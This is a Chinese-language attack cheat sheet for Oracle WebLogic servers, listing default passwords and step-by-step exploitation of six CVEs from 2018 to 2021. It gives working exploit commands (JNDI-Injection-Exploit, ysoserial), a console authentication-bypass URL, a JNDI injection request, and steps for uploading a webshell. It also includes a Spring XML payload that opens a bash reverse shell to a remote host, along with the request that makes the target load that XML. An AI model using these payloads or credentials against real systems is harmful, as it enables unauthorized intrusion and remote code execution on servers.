

一、介绍

1、简介

weblogic是美国Oracle公司下的应用服务器（Application Server），一个基于JAVAAE架构的中间件，用于开发、集成、部署和管理大型分布式web应用、网络应用和数据库应用的JAVA应用服务器。

2、指纹

端口7001

404报错指纹: The server has not found anything matching the Request-URI

3、弱口令

```
weblogic/Orac1@123
weblogic/weblogic
guest/guest
portaladmin/portladmin
admin/security
joe/password
system/security
wlcsystem/wlcsystem
wlcsystem/sipisystem
system/password
```

二、漏洞

CVE-2021-2394 反序列化

影响版本

```
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
```

利用条件

可以访问网站后台

利用方法

- 1、VPS使用JNDI工具搭建ldap服务（请求dnslog命令），测试是否出网
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl xx.dnslog.cn"
- A [开启ldap服务的vps]
 - 2、执行exp脚本，dnslog成功接收到请求，目标主机出网
java -jar CVE_2021_2394.jar [被攻击者IP] [端口] [生成的ldap服务，jdk7\jdk8都可以]
 - 3、生成生成反弹shell（base编码）的ldap服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl xx.dnslog.cn"
- A [开启ldap服务的vps]
 - 4、VPS监听端口
 - 5、执行exp脚本，成功接收到shell

参考链接

复现：https://blog.csdn.net/m0_51330619/article/details/120254124

工具：<https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0>

漏洞原理

在weblogic的T3协议中，客户端和服务端之间是通过序列化和反序列化进行数据通信，T3协议为了确保安全性，将不安全的类列入了黑名单。因为是黑名单，也就有了绕过补丁的可能性，再加上weblogic的开发没有主观能动性，对于安全态度不算积极，只要有人上报CVE，才会添加黑名单，导致很多反序列化绕过的案例。

CVE-2021-2109 命令执行

影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

利用条件

可以访问网站后台

利用方法

- 1、通过CVE-2020-14882未授权访问漏洞，进入到后台管理系统
http://your-ip:7001/console/css/%252E%252E%252Fconsole.portal
- 2、Burp抓包并放到Repeter模块，修改请求方法为post，并在请求头中添加cmd:id，data中添加如下数据
_pageLabel=JNDIBindingPageGeneral&nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xx.xx.xx;xx:1389/Basic/weblogicEcho;AdminServer%22)
- 3、将cmd的值改为base64编码后的反弹shell命令
- 4、成功接收shell

参考链接

复现：https://blog.csdn.net/qq_44159028/article/details/114305363

漏洞原理
JNDI注入

CVE-2020-14883 命令执行

影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

利用条件
可以访问网站后台

利用方法

- 1、通过CVE-2020-14882未授权访问漏洞，进入到后台管理系统
`http://your-ip:7001/console/css/%252E%252E%252Fconsole.portal`
- 2、在VPS上假设一个xml文件，内容为反弹shell命令

```
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/ip/port 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
```
- 3、在目标网站中构造一个请求VPS的xml文件的参数值
`http://your-ip:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")`
- 4、VPS成功接收请求，网站执行了文件中内容，成功接收到shell

参考链接
利用: <https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md>

漏洞原理
管理后台具有代码执行的功能

CVE-2020-14882 未授权访问

影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

利用条件

需要存在/console控制台目录

利用方法

通过构造好的poc进行未授权访问

`http://ip:7001/console/images/%252E%252E%252Fconsole.portal`

参考链接

利用: <https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md>

漏洞原理

开发者未做好后台系统的权限校验, 导致未授权的用户可以绕过管理控制台的权限校验

CVE-2018-2894 文件上传

影响版本

10.3.6
12.1.3
12.2.1.2
12.2.1.3

利用条件

后台登陆

利用方法

1、访问:7001/console

2、获取密码并登录

`docker-compose logs | grep password`

3、启动web服务测试页

`base_domain -> 高级 -> 启用web服务测试页`

4、访问/ws_utc/config.do 设置工作目录

`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`

5、上传木马文件并抓返回包中的时间戳

安全 -> 添加 -> 上传文件

6、访问`http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]`, 执行命令

参考链接

复现: <https://vulhub.org/#/environments/weblogic/CVE-2018-2894/>

漏洞原理

web服务测试页面存在文件上传漏洞,但是web服务测试页面在"生产模式"下默认不开启,所以漏洞有一定限制

CVE-2018-2628 反序列化

影响版本

10.0.2.0
10.3.6.0

发现方式

Fofa搜索: app="weblogic_interface_7001"

利用条件

- 1、7001端口开放
- 2、T3协议开放

利用方法

1、启动一个JRMPP 服务器, [listen prot]添加JRMPP服务器监听的端口, [Command]添加要执行的命令(添加base64编码后的反弹shell命令)

```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPLListener  
[listen port] CommonsCollections1 [command]
```

2、使用exploit.py脚本向目标weblogic发送数据包, [victim ip]添加目标IP, [victim port]添加目标端口, [path to ysoserial]添加本地ysoserial的路径, [JRMPLListener ip]添加JRMPP服务器的IP, [JRMPLListener port]添加JRMPP服务器的端口

```
python2 exploit.py [victim ip] [victim port] [path to ysoserial]  
[JRMPLListener ip] [JRMPLListener port] JRMPPClient
```

3、成功接收shell

参考链接

利用: https://blog.csdn.net/qq_45300786/article/details/115580662

漏洞原理

该漏洞主要源于开放了T3服务,所有weblogic控制台7001端口都使用了该服务。攻击者利用RMI绕过weblogic黑名单限制,其内容被readObject解析,从而造成的反序列化远程代码执行漏洞。